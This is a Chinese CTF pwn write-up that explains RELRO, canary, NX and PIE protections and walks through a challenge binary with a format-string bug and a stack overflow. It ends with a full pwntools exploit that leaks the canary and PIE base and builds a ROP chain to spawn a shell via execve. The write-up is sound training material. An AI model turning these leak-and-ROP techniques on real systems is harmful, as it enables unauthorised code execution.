今日份心脏骤停,噔噔咚!
每种保护介绍
Full RELRO
保护原理:其实就是不让你改写got表中的内容。
影响:不能劫持stack_chk_fail函数以绕过canary,不能劫持动态链接里面已经调用过的函数。(不懂libc快去翻我文章doge)
Canary
保护原理:在所有函数的栈的末尾(比如rbp-8)插入一个值,叫做canary,在退出函数时检查是否和原来写入的canary值一致,如果不一致就调用stack_chk_fail退出程序。
影响:让你栈溢出多了一个步骤(比如泄露canary的值,比如劫持stack_chk_fail函数。比如逐字节爆破)
NX
保护原理:让你栈上写入的东西不能被直接执行。
影响:让你不能在溢出之后直接用pwntools的一个工具叫做asm.shellcode就直接提权了,太扯了。逼着你用一些ROP或是SROP啊什么的取构造链。
PIE
保护原理:在程序加载时加上一个基址,而基址是随机的,我们在IDA里看只能看到偏移地址。(比如这样)
影响:和canary差不多,还是要泄露地址,多了一步,会麻烦点。
题目分析
程序有/bin/sh字符串,应该是出题人的怜悯了。
bird函数
bird函数不存在栈溢出,不过有一个格式化字符串漏洞(不懂的快去翻我上一篇文章捏)。
我们做得rbp+8肯定存着返回函数(这里是main中的一截)的地址,以及var_8就是canary的值。这一点是在汇编看出来的。
先是从fs:28h拿出一个字节放在[rbp + var_8]里面。尤其记住这里canary的值是从fs:28h取出的。
程序结束时用[rbp + var_8]的值和fs:28h的值对比,如果对不上就调用stack_chk_fail函数。
考虑到这题pie加canary都开了,大概率是要在这里利用格式化字符串漏洞泄露出canary以及main函数的地址.不急,再看看另一个函数。
search函数
妥妥栈溢出,基本上第一次read就能结束战斗了。第二次read看似没意义,实则可以让我们在没有
pop rax ret的gadget情况下让rax为0x3b以调用execve函数。
一个小细节
刚才说让大伙注意一下canary是从fs:28h取出的,我们会发现search函数的canary和刚才的bird函数canary是一样的,经过我测试,从bird函数里泄露的canary确实和serach函数是一样的。
所以我们思路就比较清晰了,从bird函数泄露出bird的返回地址和canary的值,在search函数进行溢出然后ROP链构造,调用system函数,把/bin/sh的地址传入。
EXP
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug"
)
# io = remote("1.container.jingsai.apicon.cn",32378)
io = process("./vuln")
def debug():
gdb.attach(io)
pause()
debug()
######################################################
payload1 = b'%13$p' + b'%11$p'
#用格式化泄露canary和main函数地址,这个可以看看我上一篇文章,讲了如何计算偏移量
io.sendafter(b'steal your pie.\n',payload1)
main_adr = int(io.recv(0xe),16)#14
canary = int(io.recv(0x12),16)#18
print(f'main_adr: {hex(main_adr)}')
print(f'canary: {hex(canary)}')
# pie and canary is done.
######################################################
base_adr = main_adr - 0x13D1
bin_adr = 0x2046 + base_adr
pop_rdx_rsi_rdi_syscall = 0x121B + base_adr
# adr is done,用泄露的地址算出基地址以及每个需要的gadget地址
######################################################
offset2 = (0x50-8)
offset3 = 0x3b
payload2 = cyclic(offset2) + p64(canary)
payload2 += b'a'*8 + p64(pop_rdx_rsi_rdi_syscall)
payload2 += p64(0) + p64(0) + p64(bin_adr)
io.sendafter(b'But where is my binsh ?\n',payload2)
payload3 = cyclic(offset3)
#这个payload3用于把rbp+8后面的溢出ROP链安排好,ret is done
io.sendafter(b'Did u tell me where my binsh is ?\n',payload3)
# rax is done,发送刚好0x3b个字节,不会碰到canary的字节,同时还能让rax变成0x3
io.interactive()
人生第一道全开保护的题,嘿嘿。
标签:adr,函数,地址,canary,保护,CTFpwn,io,开题,main From: https://blog.51cto.com/u_16356440/8710747